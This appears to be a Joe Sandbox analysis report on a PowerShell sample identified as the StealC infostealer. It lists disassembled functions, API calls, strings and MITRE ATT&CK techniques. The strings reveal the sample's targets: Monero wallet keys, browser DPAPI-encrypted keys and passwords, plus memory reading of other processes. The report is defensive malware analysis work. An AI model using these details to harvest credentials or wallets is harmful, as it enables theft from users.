Function 03066B70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 03066B7E
OpenProcess.KERNEL32(001FFFFF,00000000,03066DAD,030705AD), ref: 03066BBC
memset.MSVCRT ref: 03066C0A
??_V@YAXPAX@Z.MSVCRT ref: 03066D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 03066C2C

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: OpenProcessmemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 1606381396-4138519520
Opcode ID: badaefe7f70b41c08da54284fb7f3e2e570b0146d048826e35e37adaa618e7f3
Instruction ID: 111cf73f84d6b732917026db8424ec754b1e60b35a9a05c6c425540fd85a7a0a
Opcode Fuzzy Hash: badaefe7f70b41c08da54284fb7f3e2e570b0146d048826e35e37adaa618e7f3
Instruction Fuzzy Hash: 975181B4D0131C9FDB54EF94DC84BEEB7B4AF84304F5441A8E2057A189EB756A84CF58

Function 03051310 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 03051327
memset.MSVCRT ref: 03051516

Strings

\Monero\wallet.keys, xrefs: 0305138D
SOFTWARE\monero-project\monero-core, xrefs: 03051335
wallet_path, xrefs: 03051330
.keys, xrefs: 0305136B

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: memset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2221118986-218353709
Opcode ID: 069b18e6c1907183ea14fef4452b756e675ab9d467fe8efe346e14701e1b0c7c
Instruction ID: bdbb2e89dd3c90ac5edacf27ada9f957635344e23fe3bba390cc6db2f5b4e040
Opcode Fuzzy Hash: 069b18e6c1907183ea14fef4452b756e675ab9d467fe8efe346e14701e1b0c7c
Instruction Fuzzy Hash: D15152B5E512199BCB14FB64DC95FED733CAF94200F404198B60A7A085EF706B89CFA9

Function 03064DA0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 030562D0: InternetOpenA.WININET(03070DE6,00000001,00000000,00000000,00000000,03070DE3), ref: 03056331
Part of subcall function 030562D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03056385
Part of subcall function 030562D0: HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 030563D5
Part of subcall function 030562D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 03056421

strtok.MSVCRT ref: 03064E7E

Strings

ERROR, xrefs: 03064F12
ERROR, xrefs: 03064F4F
ERROR, xrefs: 03064E99
ERROR, xrefs: 03064DEA
ERROR, xrefs: 03064F89

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: HttpInternetOpenRequest$ConnectSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1208788097-1526165396
Opcode ID: fa9b6cef1a2067ef51dc4b454eb1e928d7e80ca78ad3ffe19ad799d428f038d4
Instruction ID: 503103f778717a32fcd270f6dccbbe0e4153b3d62c3e9adaa9add538531bbab0
Opcode Fuzzy Hash: fa9b6cef1a2067ef51dc4b454eb1e928d7e80ca78ad3ffe19ad799d428f038d4
Instruction Fuzzy Hash: 7E5100B8A12208DFCB18FF64DD95EED7779AF90200F508018E9066F598EF706B05CB61

Function 0306AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0306AD5A

Part of subcall function 0306A97C: __mtinitlocknum.LIBCMT ref: 0306A992
Part of subcall function 0306A97C: __amsg_exit.LIBCMT ref: 0306A99E
Part of subcall function 0306A97C: EnterCriticalSection.KERNEL32(?,?,?,0306A630,0000000E,0307A088,0000000C,0306A5FA), ref: 0306A9A6

DecodePointer.KERNEL32(0307A0C8,00000020,0306AE9D,?,00000001,00000000,?,0306AEBF,000000FF,?,0306A9A3,00000011,?,?,0306A630,0000000E), ref: 0306AD96
DecodePointer.KERNEL32(?,0306AEBF,000000FF,?,0306A9A3,00000011,?,?,0306A630,0000000E,0307A088,0000000C,0306A5FA), ref: 0306ADA7

Part of subcall function 0306B7F5: EncodePointer.KERNEL32(00000000,0306BA52,0307BDB8,00000314,00000000,?,?,?,?,?,0306B0C8,0307BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0306B7F7

DecodePointer.KERNEL32(-00000004,?,0306AEBF,000000FF,?,0306A9A3,00000011,?,?,0306A630,0000000E,0307A088,0000000C,0306A5FA), ref: 0306ADCD
DecodePointer.KERNEL32(?,0306AEBF,000000FF,?,0306A9A3,00000011,?,?,0306A630,0000000E,0307A088,0000000C,0306A5FA), ref: 0306ADE0
DecodePointer.KERNEL32(?,0306AEBF,000000FF,?,0306A9A3,00000011,?,?,0306A630,0000000E,0307A088,0000000C,0306A5FA), ref: 0306ADEA

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 5bd1388f80e04756f9027680f3c882a7c50a082a73c846b72ec5d4d04d98d078
Instruction ID: c3c158f129e6f6aba23daaa97f7bfb537715b468e85ca1cb6b056c061e056833
Opcode Fuzzy Hash: 5bd1388f80e04756f9027680f3c882a7c50a082a73c846b72ec5d4d04d98d078
Instruction Fuzzy Hash: 303128B4E02309DFDF50FFA9D8447DEBAF4BB48221F14802AD511BA248DBB88945CF65

Function 0306C3CD Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0306C3D9

Part of subcall function 0306B95F: __getptd_noexit.LIBCMT ref: 0306B962
Part of subcall function 0306B95F: __amsg_exit.LIBCMT ref: 0306B96F

__amsg_exit.LIBCMT ref: 0306C3F9
__lock.LIBCMT ref: 0306C409
InterlockedDecrement.KERNEL32(?), ref: 0306C426
free.MSVCRT(?,?,?,00000003,0306B5E0,0307A108,00000008), ref: 0306C439
InterlockedIncrement.KERNEL32(0307B558), ref: 0306C451

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 86c6c7a5c1e49ffbd69aee8fa44f4ef9d1ed6477f13176d40281ff9c1ea0d592
Instruction ID: 6ce81638827312ce0557056b2e1a9e9271ce6ae2b8cde3562a2a8fe6d2caea23
Opcode Fuzzy Hash: 86c6c7a5c1e49ffbd69aee8fa44f4ef9d1ed6477f13176d40281ff9c1ea0d592
Instruction Fuzzy Hash: 0701D635E03B219BF761FB6990447AEB7E0BF84710F094049D855BB64CCB38A841CBE1

Function 030669A0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 030669BF
??_U@YAPAXI@Z.MSVCRT ref: 030669ED

Part of subcall function 03066670: strlen.MSVCRT ref: 03066681
Part of subcall function 03066670: strlen.MSVCRT ref: 030666A5

VirtualQueryEx.KERNEL32(03066DAD,00000000,?,0000001C), ref: 03066A32
??_V@YAXPAX@Z.MSVCRT ref: 03066B53

Part of subcall function 03066880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 03066898

Strings

@, xrefs: 03066A46

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: d1676e09a3e437229ae1b3ee0748de699b719971dd61fba150f5e45f2d5557fb
Instruction ID: 1938fd2b153cc828890661fd0ccb6d0a8d9a09d8cda3337d65695a2ecf93abe2
Opcode Fuzzy Hash: d1676e09a3e437229ae1b3ee0748de699b719971dd61fba150f5e45f2d5557fb
Instruction Fuzzy Hash: 9751F6B5E0510DEBDB04CF98D981AEFB7B6FB88300F048519E915A7248D735AA51CBA1

Function 0306C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0306C13D

Part of subcall function 0306B95F: __getptd_noexit.LIBCMT ref: 0306B962
Part of subcall function 0306B95F: __amsg_exit.LIBCMT ref: 0306B96F

__getptd.LIBCMT ref: 0306C154
__amsg_exit.LIBCMT ref: 0306C162
__lock.LIBCMT ref: 0306C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0306C186

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 60020492dc4becc8406b4819c2fc635f4f5f8858f36af12cf7f80943f5b245bf
Instruction ID: 77f7f1b0683a677c90f624c7b00e3e80a51328cea236ec7eee5b881fee200e83
Opcode Fuzzy Hash: 60020492dc4becc8406b4819c2fc635f4f5f8858f36af12cf7f80943f5b245bf
Instruction Fuzzy Hash: 75F09076E877109BF761FB6D940178E73906F82720F194149D094BE2D9CB6495408B65

Function 03067BA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 03067C12
__aulldiv.LIBCMT ref: 03067C20

Strings

%d MB, xrefs: 03067C43
@, xrefs: 03067BED

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: __aulldiv
String ID: %d MB$@
API String ID: 3732870572-3474575989
Opcode ID: 97585073db8602e3d42aaaf5063cd20bc891fa78db0847f91848acdf2e6b21e1
Instruction ID: d0a084c4e963a18ed96efe2152e215147d6504704f2c96c8dceaf3b9622f873d
Opcode Fuzzy Hash: 97585073db8602e3d42aaaf5063cd20bc891fa78db0847f91848acdf2e6b21e1
Instruction Fuzzy Hash: 1D215CB1E44318ABDB00DFD9DC49FAEB7B8FB44B14F108509F615BB284C77859008BA8

Function 03059E60 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 03059E7B
memset.MSVCRT ref: 03059EAE

Strings

v10, xrefs: 03059E72
@, xrefs: 03059EB7

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: memcmpmemset
String ID: @$v10
API String ID: 1065087418-24753345
Opcode ID: b2a52e949615cecbf292f7fe428a1f47d7068d5bdee8a8567b5fcccf7a40bf2d
Instruction ID: 828fdbb8e2f45ea26856fc9bd4f6de6038815bf98e705dc3fcd94ceaa58b7513
Opcode Fuzzy Hash: b2a52e949615cecbf292f7fe428a1f47d7068d5bdee8a8567b5fcccf7a40bf2d
Instruction Fuzzy Hash: 7941C475A05208EFDB08EF98CC95BEEB7B5BF44304F048518F905AF288DB74AA45CB94

Function 03059D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 03059DE2

Part of subcall function 03059BB0: memcpy.MSVCRT ref: 03059C16

Strings

, xrefs: 03059E11
"encrypted_key":", xrefs: 03059D80
DPAPI, xrefs: 03059DD9

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: memcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 1784268899-738592651
Opcode ID: ddcd8a1e8dbe2b8a33ebad68cdfcf70256b81c3ee9835e540a7ddf1a9f56695e
Instruction ID: 282ccc1fd9e231a9760c472b9b0790a4360fc7fa363af2e2d51ed49618561faf
Opcode Fuzzy Hash: ddcd8a1e8dbe2b8a33ebad68cdfcf70256b81c3ee9835e540a7ddf1a9f56695e
Instruction Fuzzy Hash: 86314FB5D51208EBDF04EFE4DD45EEFB7B8BF48200F444518E901AB245E730AA15CBA1

Function 03057310 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 03057354
task.LIBCPMTD ref: 03057595

Part of subcall function 03059290: vsprintf_s.MSVCRT ref: 030592AB

Strings

Password, xrefs: 03057441

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: memsettaskvsprintf_s
String ID: Password
API String ID: 2675463923-3434357891
Opcode ID: ba944540092b9ee5c545e35c7edf1560150219fd07302ffe50f48f3d8c3c856c
Instruction ID: bf1473df144fc020d661b0d3c7037459e12850647d4bfe813f7b91065f535b83
Opcode Fuzzy Hash: ba944540092b9ee5c545e35c7edf1560150219fd07302ffe50f48f3d8c3c856c
Instruction Fuzzy Hash: 5D61FDB59012689BDB24DF50DC44BDAB7BCBF84700F0085E9EA49A6145EBB06BC5CF91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report verification.b-cdn.net.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0il2ydi0.us5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0imofb0y.tcb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3501zbvn.dry.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aa03krre.ova.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ad3omf24.llk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljj2orxh.414.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljwvbyc1.cj5.psm1

Windows Analysis Report
verification.b-cdn.net.ps1

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre